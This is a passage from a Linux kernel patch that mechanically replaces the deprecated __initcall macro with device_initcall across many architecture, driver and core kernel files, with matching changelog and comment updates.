@@ -557,4 +557,4 @@ static int proc_ppc64_create_ofdt(void)
 
 	return 0;
 }
-__initcall(proc_ppc64_create_ofdt);
+device_initcall(proc_ppc64_create_ofdt);
diff --git a/arch/powerpc/xmon/xmon.c b/arch/powerpc/xmon/xmon.c
index 8bad7d5..cd1ce39 100644
--- a/arch/powerpc/xmon/xmon.c
+++ b/arch/powerpc/xmon/xmon.c
@@ -2751,7 +2751,7 @@ static int __init setup_xmon_sysrq(void)
 	register_sysrq_key('x', &sysrq_xmon_op);
 	return 0;
 }
-__initcall(setup_xmon_sysrq);
+device_initcall(setup_xmon_sysrq);
 #endif /* CONFIG_MAGIC_SYSRQ */
 
 static int __initdata xmon_early, xmon_off;
diff --git a/arch/s390/appldata/appldata_base.c b/arch/s390/appldata/appldata_base.c
index 5c91995..af7ccb3 100644
--- a/arch/s390/appldata/appldata_base.c
+++ b/arch/s390/appldata/appldata_base.c
@@ -659,7 +659,7 @@ out_driver:
 	return rc;
 }
 
-__initcall(appldata_init);
+device_initcall(appldata_init);
 
 /**************************** init / exit <END> ******************************/
 
diff --git a/arch/s390/kernel/audit.c b/arch/s390/kernel/audit.c
index f4932c2..8a9023a 100644
--- a/arch/s390/kernel/audit.c
+++ b/arch/s390/kernel/audit.c
@@ -75,4 +75,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/arch/s390/kernel/compat_exec_domain.c b/arch/s390/kernel/compat_exec_domain.c
index 914d494..e0715f6 100644
--- a/arch/s390/kernel/compat_exec_domain.c
+++ b/arch/s390/kernel/compat_exec_domain.c
@@ -26,4 +26,4 @@ static int __init s390_init (void)
 	return 0;
 }
 
-__initcall(s390_init);
+device_initcall(s390_init);
diff --git a/arch/s390/kernel/ipl.c b/arch/s390/kernel/ipl.c
index 7eedbbc..19906a7 100644
--- a/arch/s390/kernel/ipl.c
+++ b/arch/s390/kernel/ipl.c
@@ -1806,7 +1806,7 @@ static int __init s390_ipl_init(void)
 	return 0;
 }
 
-__initcall(s390_ipl_init);
+device_initcall(s390_ipl_init);
 
 static void __init strncpy_skip_quote(char *dst, char *src, int n)
 {
diff --git a/arch/s390/kernel/topology.c b/arch/s390/kernel/topology.c
index 14ef6f0..1a1d7ee 100644
--- a/arch/s390/kernel/topology.c
+++ b/arch/s390/kernel/topology.c
@@ -291,7 +291,7 @@ out:
 	update_cpu_core_map();
 	return rc;
 }
-__initcall(init_topology_update);
+device_initcall(init_topology_update);
 
 void __init s390_init_cpu_topology(void)
 {
diff --git a/arch/sh/boards/board-edosk7760.c b/arch/sh/boards/board-edosk7760.c
index 35dc099..f47ac82 100644
--- a/arch/sh/boards/board-edosk7760.c
+++ b/arch/sh/boards/board-edosk7760.c
@@ -182,7 +182,7 @@ static int __init init_edosk7760_devices(void)
 	return platform_add_devices(edosk7760_devices,
 				    ARRAY_SIZE(edosk7760_devices));
 }
-__initcall(init_edosk7760_devices);
+device_initcall(init_edosk7760_devices);
 
 /*
  * The Machine Vector
diff --git a/arch/sh/boards/board-sh7785lcr.c b/arch/sh/boards/board-sh7785lcr.c
index fe7e686..ee65ff0 100644
--- a/arch/sh/boards/board-sh7785lcr.c
+++ b/arch/sh/boards/board-sh7785lcr.c
@@ -284,7 +284,7 @@ static int __init sh7785lcr_devices_setup(void)
 	return platform_add_devices(sh7785lcr_devices,
 				    ARRAY_SIZE(sh7785lcr_devices));
 }
-__initcall(sh7785lcr_devices_setup);
+device_initcall(sh7785lcr_devices_setup);
 
 /* Initialize IRQ setting */
 void __init init_sh7785lcr_IRQ(void)
diff --git a/arch/sh/boards/mach-cayman/setup.c b/arch/sh/boards/mach-cayman/setup.c
index 7e8216a..e89e8e1 100644
--- a/arch/sh/boards/mach-cayman/setup.c
+++ b/arch/sh/boards/mach-cayman/setup.c
@@ -165,7 +165,7 @@ static int __init smsc_superio_setup(void)
 
 	return 0;
 }
-__initcall(smsc_superio_setup);
+device_initcall(smsc_superio_setup);
 
 static void __iomem *cayman_ioport_map(unsigned long port, unsigned int len)
 {
diff --git a/arch/sh/boards/mach-landisk/setup.c b/arch/sh/boards/mach-landisk/setup.c
index 50337ac..62f26f4 100644
--- a/arch/sh/boards/mach-landisk/setup.c
+++ b/arch/sh/boards/mach-landisk/setup.c
@@ -83,7 +83,7 @@ static int __init landisk_devices_setup(void)
 				    ARRAY_SIZE(landisk_devices));
 }
 
-__initcall(landisk_devices_setup);
+device_initcall(landisk_devices_setup);
 
 static void __init landisk_setup(char **cmdline_p)
 {
diff --git a/arch/sh/boards/mach-r2d/setup.c b/arch/sh/boards/mach-r2d/setup.c
index b84df6a..4b98a52 100644
--- a/arch/sh/boards/mach-r2d/setup.c
+++ b/arch/sh/boards/mach-r2d/setup.c
@@ -258,7 +258,7 @@ static int __init rts7751r2d_devices_setup(void)
 	return platform_add_devices(rts7751r2d_devices,
 				    ARRAY_SIZE(rts7751r2d_devices));
 }
-__initcall(rts7751r2d_devices_setup);
+device_initcall(rts7751r2d_devices_setup);
 
 static void rts7751r2d_power_off(void)
 {
diff --git a/arch/sh/boards/mach-sdk7786/setup.c b/arch/sh/boards/mach-sdk7786/setup.c
index f094ea2..ddcc73d 100644
--- a/arch/sh/boards/mach-sdk7786/setup.c
+++ b/arch/sh/boards/mach-sdk7786/setup.c
@@ -132,7 +132,7 @@ static int __init sdk7786_devices_setup(void)
 
 	return sdk7786_i2c_setup();
 }
-__initcall(sdk7786_devices_setup);
+device_initcall(sdk7786_devices_setup);
 
 static int sdk7786_mode_pins(void)
 {
diff --git a/arch/sh/boards/mach-se/7206/setup.c b/arch/sh/boards/mach-se/7206/setup.c
index 8f5c65d..91d0823 100644
--- a/arch/sh/boards/mach-se/7206/setup.c
+++ b/arch/sh/boards/mach-se/7206/setup.c
@@ -77,7 +77,7 @@ static int __init se7206_devices_setup(void)
 {
 	return platform_add_devices(se7206_devices, ARRAY_SIZE(se7206_devices));
 }
-__initcall(se7206_devices_setup);
+device_initcall(se7206_devices_setup);
 
 /*
  * The Machine Vector
diff --git a/arch/sh/boards/mach-se/7751/setup.c b/arch/sh/boards/mach-se/7751/setup.c
index 5057251..69e1479 100644
--- a/arch/sh/boards/mach-se/7751/setup.c
+++ b/arch/sh/boards/mach-se/7751/setup.c
@@ -48,7 +48,7 @@ static int __init se7751_devices_setup(void)
 {
 	return platform_add_devices(se7751_devices, ARRAY_SIZE(se7751_devices));
 }
-__initcall(se7751_devices_setup);
+device_initcall(se7751_devices_setup);
 
 /*
  * The Machine Vector
diff --git a/arch/sh/boards/mach-sh03/setup.c b/arch/sh/boards/mach-sh03/setup.c
index af4a0c0..d4f79b2 100644
--- a/arch/sh/boards/mach-sh03/setup.c
+++ b/arch/sh/boards/mach-sh03/setup.c
@@ -96,7 +96,7 @@ static int __init sh03_devices_setup(void)
 
 	return platform_add_devices(sh03_devices, ARRAY_SIZE(sh03_devices));
 }
-__initcall(sh03_devices_setup);
+device_initcall(sh03_devices_setup);
 
 static struct sh_machine_vector mv_sh03 __initmv = {
 	.mv_name		= "Interface (CTP/PCI-SH03)",
diff --git a/arch/sh/kernel/traps_64.c b/arch/sh/kernel/traps_64.c
index e3f92eb..0868d8d 100644
--- a/arch/sh/kernel/traps_64.c
+++ b/arch/sh/kernel/traps_64.c
@@ -923,7 +923,7 @@ static int __init init_sysctl(void)
 	return 0;
 }
 
-__initcall(init_sysctl);
+device_initcall(init_sysctl);
 
 
 asmlinkage void do_debug_interrupt(unsigned long code, struct pt_regs *regs)
diff --git a/arch/sparc/kernel/apc.c b/arch/sparc/kernel/apc.c
index 71ec90b..768b51b 100644
--- a/arch/sparc/kernel/apc.c
+++ b/arch/sparc/kernel/apc.c
@@ -188,4 +188,4 @@ static int __init apc_init(void)
  * and is easiest to ioremap when SBus is already
  * initialized, so we install ourselves thusly:
  */
-__initcall(apc_init);
+device_initcall(apc_init);
diff --git a/arch/sparc/kernel/audit.c b/arch/sparc/kernel/audit.c
index 8fff0ac..4be9a78 100644
--- a/arch/sparc/kernel/audit.c
+++ b/arch/sparc/kernel/audit.c
@@ -80,4 +80,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/arch/sparc/kernel/mdesc.c b/arch/sparc/kernel/mdesc.c
index cdc91d9..0fb5a9c 100644
--- a/arch/sparc/kernel/mdesc.c
+++ b/arch/sparc/kernel/mdesc.c
@@ -903,7 +903,7 @@ static int __init mdesc_misc_init(void)
 	return misc_register(&mdesc_misc);
 }
 
-__initcall(mdesc_misc_init);
+device_initcall(mdesc_misc_init);
 
 void __init sun4v_mdesc_init(void)
 {
diff --git a/arch/sparc/kernel/pmc.c b/arch/sparc/kernel/pmc.c
index 5e4563d..74a99b5 100644
--- a/arch/sparc/kernel/pmc.c
+++ b/arch/sparc/kernel/pmc.c
@@ -93,4 +93,4 @@ static int __init pmc_init(void)
  * and is easiest to ioremap when SBus is already
  * initialized, so we install ourselves thusly:
  */
-__initcall(pmc_init);
+device_initcall(pmc_init);
diff --git a/arch/um/drivers/mconsole_kern.c b/arch/um/drivers/mconsole_kern.c
index de317d0..c55fa3a 100644
--- a/arch/um/drivers/mconsole_kern.c
+++ b/arch/um/drivers/mconsole_kern.c
@@ -493,7 +493,7 @@ static int __init mem_mc_init(void)
 	return 0;
 }
 
-__initcall(mem_mc_init);
+device_initcall(mem_mc_init);
 
 #define CONFIG_BUF_SIZE 64
 
@@ -816,7 +816,7 @@ static int __init mconsole_init(void)
 	return 1;
 }
 
-__initcall(mconsole_init);
+device_initcall(mconsole_init);
 
 static ssize_t mconsole_proc_write(struct file *file,
 		const char __user *buffer, size_t count, loff_t *pos)
@@ -873,7 +873,7 @@ void unlock_notify(void)
 	spin_unlock(&notify_spinlock);
 }
 
-__initcall(create_proc_mconsole);
+device_initcall(create_proc_mconsole);
 
 #define NOTIFY "notify:"
 
@@ -923,7 +923,7 @@ static int add_notifier(void)
 	return 0;
 }
 
-__initcall(add_notifier);
+device_initcall(add_notifier);
 
 char *mconsole_notify_socket(void)
 {
diff --git a/arch/um/drivers/net_kern.c b/arch/um/drivers/net_kern.c
index a74245a..3864903 100644
--- a/arch/um/drivers/net_kern.c
+++ b/arch/um/drivers/net_kern.c
@@ -824,7 +824,7 @@ static int uml_net_init(void)
 	return 0;
 }
 
-__initcall(uml_net_init);
+device_initcall(uml_net_init);
 
 static void close_devices(void)
 {
diff --git a/arch/um/drivers/stderr_console.c b/arch/um/drivers/stderr_console.c
index d07a97f..29eb7ce 100644
--- a/arch/um/drivers/stderr_console.c
+++ b/arch/um/drivers/stderr_console.c
@@ -59,4 +59,4 @@ static int __init unregister_stderr(void)
 	return 0;
 }
 
-__initcall(unregister_stderr);
+device_initcall(unregister_stderr);
diff --git a/arch/um/drivers/ubd_kern.c b/arch/um/drivers/ubd_kern.c
index c1ff690..d5de090 100644
--- a/arch/um/drivers/ubd_kern.c
+++ b/arch/um/drivers/ubd_kern.c
@@ -1010,7 +1010,7 @@ static int __init ubd_mc_init(void)
 	return 0;
 }
 
-__initcall(ubd_mc_init);
+device_initcall(ubd_mc_init);
 
 static int __init ubd0_init(void)
 {
@@ -1024,7 +1024,7 @@ static int __init ubd0_init(void)
 	return 0;
 }
 
-__initcall(ubd0_init);
+device_initcall(ubd0_init);
 
 /* Used in ubd_init, which is an initcall */
 static struct platform_driver ubd_driver = {
diff --git a/arch/um/kernel/exitcode.c b/arch/um/kernel/exitcode.c
index 829df49..cb05ff8 100644
--- a/arch/um/kernel/exitcode.c
+++ b/arch/um/kernel/exitcode.c
@@ -75,4 +75,4 @@ static int make_proc_exitcode(void)
 	return 0;
 }
 
-__initcall(make_proc_exitcode);
+device_initcall(make_proc_exitcode);
diff --git a/arch/um/kernel/physmem.c b/arch/um/kernel/physmem.c
index a1a9090..87537f0 100644
--- a/arch/um/kernel/physmem.c
+++ b/arch/um/kernel/physmem.c
@@ -209,4 +209,4 @@ static int setup_iomem(void)
 	return 0;
 }
 
-__initcall(setup_iomem);
+device_initcall(setup_iomem);
diff --git a/arch/um/os-Linux/aio.c b/arch/um/os-Linux/aio.c
index 57e3d46..337437e 100644
--- a/arch/um/os-Linux/aio.c
+++ b/arch/um/os-Linux/aio.c
@@ -343,13 +343,13 @@ static int init_aio(void)
 }
 
 /*
- * The reason for the __initcall/__uml_exitcall asymmetry is that init_aio
+ * The reason for the device_initcall/__uml_exitcall asymmetry is that init_aio
  * needs to be called when the kernel is running because it calls run_helper,
  * which needs get_free_page.  exit_aio is a __uml_exitcall because the generic
  * kernel does not run __exitcalls on shutdown, and can't because many of them
  * break when called outside of module unloading.
  */
-__initcall(init_aio);
+device_initcall(init_aio);
 
 static void exit_aio(void)
 {
diff --git a/arch/um/os-Linux/skas/mem.c b/arch/um/os-Linux/skas/mem.c
index d261f17..a0a816a 100644
--- a/arch/um/os-Linux/skas/mem.c
+++ b/arch/um/os-Linux/skas/mem.c
@@ -46,7 +46,7 @@ static int __init init_syscall_regs(void)
 	return 0;
 }
 
-__initcall(init_syscall_regs);
+device_initcall(init_syscall_regs);
 
 extern int proc_mm;
 
diff --git a/arch/um/os-Linux/skas/process.c b/arch/um/os-Linux/skas/process.c
index d6e0a22..25ef142 100644
--- a/arch/um/os-Linux/skas/process.c
+++ b/arch/um/os-Linux/skas/process.c
@@ -473,7 +473,7 @@ static int __init init_thread_regs(void)
 	return 0;
 }
 
-__initcall(init_thread_regs);
+device_initcall(init_thread_regs);
 
 int copy_context_skas0(unsigned long new_stack, int pid)
 {
diff --git a/arch/um/os-Linux/umid.c b/arch/um/os-Linux/umid.c
index a27defb..23f7b37 100644
--- a/arch/um/os-Linux/umid.c
+++ b/arch/um/os-Linux/umid.c
@@ -326,7 +326,7 @@ static int __init make_umid_init(void)
 	return 0;
 }
 
-__initcall(make_umid_init);
+device_initcall(make_umid_init);
 
 int __init umid_file_name(char *name, char *buf, int len)
 {
diff --git a/arch/um/sys-i386/tls.c b/arch/um/sys-i386/tls.c
index c6c7131..b285fd7 100644
--- a/arch/um/sys-i386/tls.c
+++ b/arch/um/sys-i386/tls.c
@@ -393,4 +393,4 @@ static int __init __setup_host_supports_tls(void)
 	return 0;
 }
 
-__initcall(__setup_host_supports_tls);
+device_initcall(__setup_host_supports_tls);
diff --git a/arch/x86/kernel/audit_64.c b/arch/x86/kernel/audit_64.c
index 06d3e5a..bab6ddc 100644
--- a/arch/x86/kernel/audit_64.c
+++ b/arch/x86/kernel/audit_64.c
@@ -78,4 +78,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/arch/x86/kernel/tlb_uv.c b/arch/x86/kernel/tlb_uv.c
index 364d015..eb71685 100644
--- a/arch/x86/kernel/tlb_uv.c
+++ b/arch/x86/kernel/tlb_uv.c
@@ -860,5 +860,5 @@ static int __init uv_bau_init(void)
 
 	return 0;
 }
-__initcall(uv_bau_init);
-__initcall(uv_ptc_init);
+device_initcall(uv_bau_init);
+device_initcall(uv_ptc_init);
diff --git a/arch/x86/kernel/vsyscall_64.c b/arch/x86/kernel/vsyscall_64.c
index 1c0c6ab..df45aaf 100644
--- a/arch/x86/kernel/vsyscall_64.c
+++ b/arch/x86/kernel/vsyscall_64.c
@@ -244,7 +244,7 @@ static ctl_table kernel_root_table2[] = {
 };
 #endif
 
-/* Assume __initcall executes before all user space. Hopefully kmod
+/* Assume device_initcall executes before all user space. Hopefully kmod
    doesn't violate that. We'll find out if it does. */
 static void __cpuinit vsyscall_set_cpu(int cpu)
 {
@@ -306,4 +306,4 @@ static int __init vsyscall_init(void)
 	return 0;
 }
 
-__initcall(vsyscall_init);
+device_initcall(vsyscall_init);
diff --git a/arch/x86/mm/dump_pagetables.c b/arch/x86/mm/dump_pagetables.c
index a725b7f..a84535d 100644
--- a/arch/x86/mm/dump_pagetables.c
+++ b/arch/x86/mm/dump_pagetables.c
@@ -349,7 +349,7 @@ static int pt_dump_init(void)
 	return 0;
 }
 
-__initcall(pt_dump_init);
+device_initcall(pt_dump_init);
 MODULE_LICENSE("GPL");
 MODULE_AUTHOR("Arjan van de Ven <arjan@linux.intel.com>");
 MODULE_DESCRIPTION("Kernel debugging helper that dumps pagetables");
diff --git a/arch/x86/vdso/vdso32-setup.c b/arch/x86/vdso/vdso32-setup.c
index 02b442e..6c73b85 100644
--- a/arch/x86/vdso/vdso32-setup.c
+++ b/arch/x86/vdso/vdso32-setup.c
@@ -374,7 +374,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 
 #ifdef CONFIG_X86_64
 
-__initcall(sysenter_setup);
+device_initcall(sysenter_setup);
 
 #ifdef CONFIG_SYSCTL
 /* Register vsyscall32 into the ABI table */
@@ -405,7 +405,7 @@ static __init int ia32_binfmt_init(void)
 	register_sysctl_table(abi_root_table2);
 	return 0;
 }
-__initcall(ia32_binfmt_init);
+device_initcall(ia32_binfmt_init);
 #endif
 
 #else  /* CONFIG_X86_32 */
diff --git a/arch/x86/vdso/vma.c b/arch/x86/vdso/vma.c
index 21e1aeb..860addc 100644
--- a/arch/x86/vdso/vma.c
+++ b/arch/x86/vdso/vma.c
@@ -73,7 +73,7 @@ static int __init init_vdso_vars(void)
 	vdso_enabled = 0;
 	return -ENOMEM;
 }
-__initcall(init_vdso_vars);
+device_initcall(init_vdso_vars);
 
 struct linux_binprm;
 
diff --git a/arch/xtensa/platforms/iss/console.c b/arch/xtensa/platforms/iss/console.c
index e60a1f5..cdf1715 100644
--- a/arch/xtensa/platforms/iss/console.c
+++ b/arch/xtensa/platforms/iss/console.c
@@ -248,7 +248,7 @@ static __exit void rs_exit(void)
 }
 
 
-/* We use `late_initcall' instead of just `__initcall' as a workaround for
+/* We use `late_initcall' instead of just `device_initcall' as a workaround for
  * the fact that (1) simcons_tty_init can't be called before tty_init,
  * (2) tty_init is called via `module_init', (3) if statically linked,
  * module_init == device_init, and (4) there's no ordering of init lists.
diff --git a/drivers/net/arm/am79c961a.c b/drivers/net/arm/am79c961a.c
index f1f58c5..cc2c734 100644
--- a/drivers/net/arm/am79c961a.c
+++ b/drivers/net/arm/am79c961a.c
@@ -775,4 +775,4 @@ static int __init am79c961_init(void)
 	return platform_driver_register(&am79c961_driver);
 }
 
-__initcall(am79c961_init);
+device_initcall(am79c961_init);
diff --git a/drivers/net/hamradio/baycom_epp.c b/drivers/net/hamradio/baycom_epp.c
index a3c0dc9..fc6f80e 100644
--- a/drivers/net/hamradio/baycom_epp.c
+++ b/drivers/net/hamradio/baycom_epp.c
@@ -35,6 +35,7 @@
  *                    removed some pre-2.2 kernel compatibility cruft
  *   0.6  10.08.1999  Check if parport can do SPP and is safe to access during interrupt contexts
  *   0.7  12.02.2000  adapted to softnet driver interface
+ *   0.8  03.18.2010  update deprecated __initcall to device_initcall
  *
  */
 
diff --git a/drivers/net/hamradio/baycom_par.c b/drivers/net/hamradio/baycom_par.c
index 5f5af9a..f2ddffa 100644
--- a/drivers/net/hamradio/baycom_par.c
+++ b/drivers/net/hamradio/baycom_par.c
@@ -64,6 +64,7 @@
  *   0.8  12.02.2000  adapted to softnet driver interface
  *                    removed direct parport access, uses parport driver methods
  *   0.9  03.07.2000  fix interface name handling
+ *   0.10 03.18.2010  update deprecated __initcall to device_initcall
  */
 
 /*****************************************************************************/
diff --git a/drivers/net/hamradio/baycom_ser_fdx.c b/drivers/net/hamradio/baycom_ser_fdx.c
index 0cab992..d90ad93 100644
--- a/drivers/net/hamradio/baycom_ser_fdx.c
+++ b/drivers/net/hamradio/baycom_ser_fdx.c
@@ -67,6 +67,7 @@
  *   0.8  10.08.1999  use module_init/module_exit
  *   0.9  12.02.2000  adapted to softnet driver interface
  *   0.10 03.07.2000  fix interface name handling
+ *   0.11 03.18.2010  update deprecated __initcall to device_initcall
  */
 
 /*****************************************************************************/
diff --git a/drivers/net/hamradio/baycom_ser_hdx.c b/drivers/net/hamradio/baycom_ser_hdx.c
index 1686f6d..3033cae 100644
--- a/drivers/net/hamradio/baycom_ser_hdx.c
+++ b/drivers/net/hamradio/baycom_ser_hdx.c
@@ -57,6 +57,7 @@
  *   0.8  10.08.1999  use module_init/module_exit
  *   0.9  12.02.2000  adapted to softnet driver interface
  *   0.10 03.07.2000  fix interface name handling
+ *   0.11 03.18.2010  update deprecated __initcall to device_initcall
  */
 
 /*****************************************************************************/
diff --git a/drivers/s390/char/sclp_cmd.c b/drivers/s390/char/sclp_cmd.c
index b3beab6..642b3bf 100644
--- a/drivers/s390/char/sclp_cmd.c
+++ b/drivers/s390/char/sclp_cmd.c
@@ -628,7 +628,7 @@ out:
 	free_page((unsigned long) sccb);
 	return rc;
 }
-__initcall(sclp_detect_standby_memory);
+device_initcall(sclp_detect_standby_memory);
 
 #endif /* CONFIG_MEMORY_HOTPLUG */
 
diff --git a/drivers/s390/char/sclp_config.c b/drivers/s390/char/sclp_config.c
index b497afe..c257eb3 100644
--- a/drivers/s390/char/sclp_config.c
+++ b/drivers/s390/char/sclp_config.c
@@ -87,4 +87,4 @@ static int __init sclp_conf_init(void)
 	return rc;
 }
 
-__initcall(sclp_conf_init);
+device_initcall(sclp_conf_init);
diff --git a/drivers/s390/char/sclp_cpi_sys.c b/drivers/s390/char/sclp_cpi_sys.c
index 62c2647..1ebb83c 100644
--- a/drivers/s390/char/sclp_cpi_sys.c
+++ b/drivers/s390/char/sclp_cpi_sys.c
@@ -426,4 +426,4 @@ static int __init cpi_init(void)
 	return rc;
 }
 
-__initcall(cpi_init);
+device_initcall(cpi_init);
diff --git a/drivers/s390/char/sclp_vt220.c b/drivers/s390/char/sclp_vt220.c
index 3796ffd..deff553 100644
--- a/drivers/s390/char/sclp_vt220.c
+++ b/drivers/s390/char/sclp_vt220.c
@@ -707,7 +707,7 @@ out_driver:
 	put_tty_driver(driver);
 	return rc;
 }
-__initcall(sclp_vt220_tty_init);
+device_initcall(sclp_vt220_tty_init);
 
 static void __sclp_vt220_flush_buffer(void)
 {
diff --git a/drivers/s390/cio/blacklist.c b/drivers/s390/cio/blacklist.c
index 7eab9ab..363fd02 100644
--- a/drivers/s390/cio/blacklist.c
+++ b/drivers/s390/cio/blacklist.c
@@ -398,6 +398,6 @@ cio_ignore_proc_init (void)
 	return 0;
 }
 
-__initcall (cio_ignore_proc_init);
+device_initcall(cio_ignore_proc_init);
 
 #endif /* CONFIG_PROC_FS */
diff --git a/drivers/staging/rtl8192u/ieee80211/api.c b/drivers/staging/rtl8192u/ieee80211/api.c
index c627d02..156d867 100644
--- a/drivers/staging/rtl8192u/ieee80211/api.c
+++ b/drivers/staging/rtl8192u/ieee80211/api.c
@@ -229,7 +229,7 @@ static int __init init_crypto(void)
 	return 0;
 }
 
-__initcall(init_crypto);
+device_initcall(init_crypto);
 
 /*
 EXPORT_SYMBOL_GPL(crypto_register_alg);
diff --git a/fs/aio.c b/fs/aio.c
index 1cf12b3..80ddf44 100644
--- a/fs/aio.c
+++ b/fs/aio.c
@@ -92,7 +92,7 @@ static int __init aio_setup(void)
 
 	return 0;
 }
-__initcall(aio_setup);
+device_initcall(aio_setup);
 
 static void aio_free_ring(struct kioctx *ctx)
 {
diff --git a/fs/compat_ioctl.c b/fs/compat_ioctl.c
index 6d55b61..b579a82 100644
--- a/fs/compat_ioctl.c
+++ b/fs/compat_ioctl.c
@@ -1780,4 +1780,4 @@ static int __init init_sys32_ioctl(void)
 		init_sys32_ioctl_cmp, NULL);
 	return 0;
 }
-__initcall(init_sys32_ioctl);
+device_initcall(init_sys32_ioctl);
diff --git a/ipc/ipc_sysctl.c b/ipc/ipc_sysctl.c
index 56410fa..3d59d44 100644
--- a/ipc/ipc_sysctl.c
+++ b/ipc/ipc_sysctl.c
@@ -209,4 +209,4 @@ static int __init ipc_sysctl_init(void)
 	return 0;
 }
 
-__initcall(ipc_sysctl_init);
+device_initcall(ipc_sysctl_init);
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index e4e3f04..c58ca57 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1322,4 +1322,4 @@ out_sysctl:
 	return error;
 }
 
-__initcall(init_mqueue_fs);
+device_initcall(init_mqueue_fs);
diff --git a/ipc/util.c b/ipc/util.c
index 79ce84e..d82ec6c 100644
--- a/ipc/util.c
+++ b/ipc/util.c
@@ -106,7 +106,7 @@ static int __init ipc_init(void)
 	register_ipcns_notifier(&init_ipc_ns);
 	return 0;
 }
-__initcall(ipc_init);
+device_initcall(ipc_init);
 
 /**
  *	ipc_init_ids		-	initialise IPC identifiers
diff --git a/kernel/audit.c b/kernel/audit.c
index 78f7f86..d489f47 100644
--- a/kernel/audit.c
+++ b/kernel/audit.c
@@ -989,7 +989,7 @@ static int __init audit_init(void)
 
 	return 0;
 }
-__initcall(audit_init);
+device_initcall(audit_init);
 
 /* Process kernel command-line parameter at boot time.  audit=0 or audit=1. */
 static int __init audit_enable(char *str)
diff --git a/kernel/audit_tree.c b/kernel/audit_tree.c
index 028e856..e54d2c6 100644
--- a/kernel/audit_tree.c
+++ b/kernel/audit_tree.c
@@ -919,4 +919,4 @@ static int __init audit_tree_init(void)
 
 	return 0;
 }
-__initcall(audit_tree_init);
+device_initcall(audit_tree_init);
diff --git a/kernel/dma.c b/kernel/dma.c
index f903189..b54e161 100644
--- a/kernel/dma.c
+++ b/kernel/dma.c
@@ -153,7 +153,7 @@ static int __init proc_dma_init(void)
 	return 0;
 }
 
-__initcall(proc_dma_init);
+device_initcall(proc_dma_init);
 #endif
 
 EXPORT_SYMBOL(request_dma);
diff --git a/kernel/futex.c b/kernel/futex.c
index e7a35f1..94efb8c 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -2670,4 +2670,4 @@ static int __init futex_init(void)
 
 	return 0;
 }
-__initcall(futex_init);
+device_initcall(futex_init);
diff --git a/kernel/lockdep_proc.c b/kernel/lockdep_proc.c
index d4aba4f..a4088c9 100644
--- a/kernel/lockdep_proc.c
+++ b/kernel/lockdep_proc.c
@@ -687,5 +687,5 @@ static int __init lockdep_proc_init(void)
 	return 0;
 }
 
-__initcall(lockdep_proc_init);
+device_initcall(lockdep_proc_init);
 
diff --git a/kernel/pid_namespace.c b/kernel/pid_namespace.c
index 79aac93..2c7b5e7 100644
--- a/kernel/pid_namespace.c
+++ b/kernel/pid_namespace.c
@@ -189,4 +189,4 @@ static __init int pid_namespaces_init(void)
 	return 0;
 }
 
-__initcall(pid_namespaces_init);
+device_initcall(pid_namespaces_init);
diff --git a/kernel/posix-cpu-timers.c b/kernel/posix-cpu-timers.c
index 1a22dfd..036d64e 100644
--- a/kernel/posix-cpu-timers.c
+++ b/kernel/posix-cpu-timers.c
@@ -1727,4 +1727,4 @@ static __init int init_posix_cpu_timers(void)
 
 	return 0;
 }
-__initcall(init_posix_cpu_timers);
+device_initcall(init_posix_cpu_timers);
diff --git a/kernel/posix-timers.c b/kernel/posix-timers.c
index 00d1fda..e8c2d04 100644
--- a/kernel/posix-timers.c
+++ b/kernel/posix-timers.c
@@ -309,7 +309,7 @@ static __init int init_posix_timers(void)
 	return 0;
 }
 
-__initcall(init_posix_timers);
+device_initcall(init_posix_timers);
 
 static void schedule_next_timer(struct k_itimer *timr)
 {
diff --git a/kernel/resource.c b/kernel/resource.c
index 2d5be5d..e678177 100644
--- a/kernel/resource.c
+++ b/kernel/resource.c
@@ -136,7 +136,7 @@ static int __init ioresources_init(void)
 	proc_create("iomem", 0, NULL, &proc_iomem_operations);
 	return 0;
 }
-__initcall(ioresources_init);
+device_initcall(ioresources_init);
 
 #endif /* CONFIG_PROC_FS */
 
diff --git a/kernel/sched_debug.c b/kernel/sched_debug.c
index 67f95aa..c17988b 100644
--- a/kernel/sched_debug.c
+++ b/kernel/sched_debug.c
@@ -379,7 +379,7 @@ static int __init init_sched_debug_procfs(void)
 	return 0;
 }
 
-__initcall(init_sched_debug_procfs);
+device_initcall(init_sched_debug_procfs);
 
 void proc_sched_show_task(struct task_struct *p, struct seq_file *m)
 {
diff --git a/kernel/time/timer_list.c b/kernel/time/timer_list.c
index bdfb8dd..962b3b2 100644
--- a/kernel/time/timer_list.c
+++ b/kernel/time/timer_list.c
@@ -296,4 +296,4 @@ static int __init init_timer_list_procfs(void)
 		return -ENOMEM;
 	return 0;
 }
-__initcall(init_timer_list_procfs);
+device_initcall(init_timer_list_procfs);
diff --git a/kernel/time/timer_stats.c b/kernel/time/timer_stats.c
index 2f3b585..517552b 100644
--- a/kernel/time/timer_stats.c
+++ b/kernel/time/timer_stats.c
@@ -422,4 +422,4 @@ static int __init init_tstats_procfs(void)
 		return -ENOMEM;
 	return 0;
 }
-__initcall(init_tstats_procfs);
+device_initcall(init_tstats_procfs);
diff --git a/kernel/tracepoint.c b/kernel/tracepoint.c
index cc89be5..c4d12e8 100644
--- a/kernel/tracepoint.c
+++ b/kernel/tracepoint.c
@@ -580,7 +580,7 @@ static int init_tracepoints(void)
 {
 	return register_module_notifier(&tracepoint_module_nb);
 }
-__initcall(init_tracepoints);
+device_initcall(init_tracepoints);
 
 #endif /* CONFIG_MODULES */
 
diff --git a/kernel/utsname_sysctl.c b/kernel/utsname_sysctl.c
index a2cd77e..7cbb001 100644
--- a/kernel/utsname_sysctl.c
+++ b/kernel/utsname_sysctl.c
@@ -111,4 +111,4 @@ static int __init utsname_sysctl_init(void)
 	return 0;
 }
 
-__initcall(utsname_sysctl_init);
+device_initcall(utsname_sysctl_init);
diff --git a/lib/audit.c b/lib/audit.c
index 8e7dc1c..26f41a9 100644
--- a/lib/audit.c
+++ b/lib/audit.c
@@ -63,4 +63,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
